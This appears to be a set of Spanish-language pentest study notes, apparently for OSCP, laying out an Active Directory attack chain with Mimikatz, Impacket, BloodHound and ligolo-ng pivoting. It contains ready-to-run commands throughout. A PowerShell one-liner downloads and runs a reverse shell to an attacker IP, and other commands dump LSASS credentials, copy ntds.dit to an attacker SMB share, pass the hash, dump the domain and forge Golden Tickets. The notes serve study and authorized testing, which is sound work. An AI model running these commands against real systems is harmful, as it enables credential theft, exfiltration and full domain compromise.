# Apuntes Active Directory Pentest Mimikatz · Impacket · Kerberos · BloodHound · Pivoting --- ## El mapa mental de todo ``` ┌─────────────────────────────┐ ┌──────────────────────────────┐ │ TU KALI/DEBIAN │ │ VICTIMA WINDOWS │ │ (la atacante) │ │ (cliente o servidor) │ ├─────────────────────────────┤ ├──────────────────────────────┤ │ │ │ │ │ ┌─ Impacket ─────────────┐ │ │ ┌─ Procesos a saquear ─┐ │ │ │ secretsdump (hashes) ├──┼─────┼──┤ LSASS (creds en RAM) │ │ │ │ psexec (shell) ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│ │ │ │ GetUserSPNs (kerb) ├──┼─────┼──┤ SAM/SYSTEM │ │ │ │ getTGT (kerb) │ │ │ └──────────────────────┘ │ │ └────────────────────────┘ │ │ │ │ │ │ ┌─ Lo que SUBES tú ────┐ │ │ ┌─ BloodHound ───────────┐ │ │ │ mimikatz.exe │ │ │ │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS │ │ │ │ neo4j + GUI (visualiza)│ │ │ │ Invoke-ConPtyShell.ps1│ │ │ └────────────────────────┘ │ │ │ Invoke-PowerShellTcp │ │ │ │ │ └──────────────────────┘ │ │ ┌─ Listener / loot ──────┐ │ │ │ │ │ nc -lvnp 4444 (shell) │◄─┼─TCP─┼─── reverse shell │ │ │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools │ │ │ smbserver.py (loot) │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc. │ │ └────────────────────────┘ │ │ │ └─────────────────────────────┘ └──────────────────────────────┘ ``` **Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez. --- ## Quién hace qué ### Mimikatz **Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas. ``` tú (Kali) víctima Windows ───────── ──────────────── │ │ 1. Levantas HTTP en tu carpeta de herramientas │ │ ┌────────────┐ │ 2. desde │ PowerShell │ iwr http://kali/mimikatz.exe -o m.exe │ reverse │ shell │ │ shell ──► └─────┬──────┘ │ │ │ ▼ │ ┌────────────────┐ │ │ m.exe │ privilege::debug │ │ │ sekurlsa::logonpasswords │ 4. ves ◄───┤ vuelca creds │ lsadump::sam │ hashes │ del LSASS │ lsadump::dcsync /user:Administrator │ └────────────────┘ ``` ### Impacket **Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali. Los más útiles: ``` impacket-psexec → te da shell en la víctima si tienes creds (estilo PsExec) impacket-wmiexec → ejecutas comandos sin tocar disco impacket-smbexec → otra forma de ejecución remota impacket-secretsdump → vuelca todo el NTDS.dit y SAM de un DC, en remoto impacket-GetUserSPNs → ataque KERBEROASTING (saca TGS de cuentas de servicio) impacket-GetNPUsers → ataque ASREPROAST (usuarios sin pre-auth Kerberos) impacket-getTGT → forja/pide un TGT con cred conocida impacket-getST → pide un service ticket impacket-smbserver → monta un share SMB falso (para exfiltrar a Kali) impacket-ntlmrelayx → relay attacks NTLM ``` ### Kerberos en 30 segundos ``` ┌──────────┐ ┌────────────────┐ │ Usuario │ ¿Pwd? │ KDC (Domain │ │ (cliente)│ ─────────────► │ Controller) │ └────┬─────┘ └────┬───────────┘ │ │ │ ◄──── TGT (te identifica)│ │ │ │ TGT + "quiero \\fileSrv" │ ├──────────────────────────►│ │ │ │ ◄──── TGS (para fileSrv)│ │ │ │ ┌───────────┐ │ └──────────►│ fileServer│ "este TGS prueba que soy yo" └───────────┘ ``` - **TGT** = "carnet maestro" del KDC. Lo guarda el cliente. - **TGS** = "ticket de un día" para hablar con un servicio concreto. - **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre. --- ## La cadena de ataque "OSCP típica" con esto ``` ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1) RCE inicial en una web ───────► reverse shell PowerShell │ │ (sqli, file upload, etc.) en máquina USUARIO1 │ │ │ │ │ │ │ ▼ │ │ │ │ 2) WinPEAS desde tu carpeta ──► subes y ejecutas │ │ enumera permisos, AlwaysInstallElevated, etc. │ │ │ │ │ │ │ ▼ │ │ │ │ 3) Local privesc ──► SYSTEM en USUARIO1 │ │ │ │ │ │ │ ▼ │ │ │ │ 4) Mimikatz ──► sekurlsa::logonpasswords │ │ → hash NTLM de un usuario de dominio (DOMAIN\juan) │ │ │ │ │ │ │ ▼ │ │ │ │ 5) BloodHound ──► "¿juan es admin en algún sitio?" │ │ "¿juan puede llegar a Domain Admin por algún camino?" │ │ │ │ │ │ │ ▼ │ │ │ │ 6) Impacket-psexec con el hash de juan ──► shell en SERVER2 │ │ impacket-psexec -hashes :HASH 'juan@server2.local' │ │ │ │ │ │ │ ▼ │ │ │ │ 7) Si server2 = Domain Controller: │ │ impacket-secretsdump ──► vuelcas TODA la BD del dominio │ │ (NTDS.dit, krbtgt, etc.) │ │ │ │ │ │ │ ▼ │ │ │ │ 8) Con hash de krbtgt: │ │ impacket-ticketer ──► Golden Ticket → eres dios │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` --- ## Cómo se monta cada pieza en la práctica ### A) Levantas tu "puesto de mando" en Kali (terminales abiertos) ``` ┌─ Terminal 1 (listener de shells) ─────────────────────────┐ │ stty raw -echo; (stty size; cat) | nc -lvnp 4444 │ └────────────────────────────────────────────────────────────┘ ┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐ │ cd tu carpeta │ │ python3 -m http.server 80 │ └────────────────────────────────────────────────────────────┘ ┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐ │ mkdir /tmp/loot && cd /tmp/loot │ │ impacket-smbserver loot . -smb2support │ └────────────────────────────────────────────────────────────┘ ┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐ │ $ │ └────────────────────────────────────────────────────────────┘ ``` ### B) Recibes una reverse shell Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes: ```powershell IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444 ``` Tu Terminal 1 te da una shell **interactiva** Windows. ### C) Subes y ejecutas Mimikatz desde esa shell ```powershell # Dentro de la shell, en la víctima: iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe C:\Windows\Temp\m.exe ``` Y dentro de mimikatz: ``` privilege::debug sekurlsa::logonpasswords ``` Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest). ### D) Exfiltras un fichero grande (NTDS.dit, etc.) Desde la víctima: ```cmd copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\ ``` Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls. ### E) Lateral movement con Impacket (sin reverse shell nueva) Una vez tienes hash de un user privilegiado: ```bash impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20' ``` Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio. ### F) Pivoting (entrar en una red interna) con ligolo-ng ``` TU KALI USUARIO1 RED INTERNA 10.10.10.5 10.10.10.50 192.168.5.0/24 │ │ │ │ ligolo proxy │ │ │ ───── tunel ─────► │ │ │ │ │ │ ligolo agent ─── puede llegar ──► 192.168.5.10 (DC) │ │ │ añades ruta: │ │ ip route add │ │ 192.168.5.0/24 dev ligolo │ │ ahora desde Kali: │ impacket-psexec admin@192.168.5.10 ◄── el tráfico va por el túnel ▼ ``` --- ## BloodHound — qué hace y cómo lo montas ### Qué hace Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas: > "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?" Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano. ``` ┌─────────┐ MemberOf ┌──────────────┐ │ juan ├─────────────►│ HelpDesk │ └─────────┘ └──────┬───────┘ │ AdminTo ▼ ┌──────────────┐ │ workstation42│ └──────┬───────┘ │ HasSession (admin con sesión activa aquí) ▼ ┌──────────────┐ │ ana │ └──────┬───────┘ │ MemberOf ▼ ┌──────────────┐ │ Domain Admins│ ← jackpot └──────────────┘ ``` ### Componentes ``` ┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐ │ SharpHound (.exe)│ o │ bloodhound-python│ ────► │ JSON files │ │ corre en víctima │ │ corre en Kali │ │ con datos AD│ └──────────────────┘ └─────────────────┘ └──────┬───────┘ │ ▼ ┌──────────────────┐ │ BloodHound GUI │ │ (en tu Kali) │ │ + │ │ Neo4j (base BD) │ └──────────────────┘ ``` - **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad). - **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries. - **Neo4j** = la base de datos del grafo (la GUI la necesita). ### Instalación en Debian ```bash sudo apt install -y bloodhound bloodhound.py ``` ```bash # Neo4j (la BD que necesita BloodHound) sudo apt install -y neo4j sudo systemctl start neo4j sudo neo4j-admin set-initial-password 'BloodHound1!' ``` ### Uso (workflow) ```bash # 1) Recolectar datos desde Kali (necesitas creds válidas) bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All # → genera varios .json en el directorio actual # 2) Lanzar la GUI bloodhound # Login: neo4j / BloodHound1! # Arrastras los .json a la ventana → quedan cargados # 3) Queries útiles ya integradas: # - Find Shortest Paths to Domain Admins # - Find Kerberoastable Accounts # - Find AS-REP Roastable Users ``` --- ## Resumen TL;DR | Pregunta | Respuesta | |---|---| | ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. | | ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. | | ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. | | ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. | | ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. | | ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. | | ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |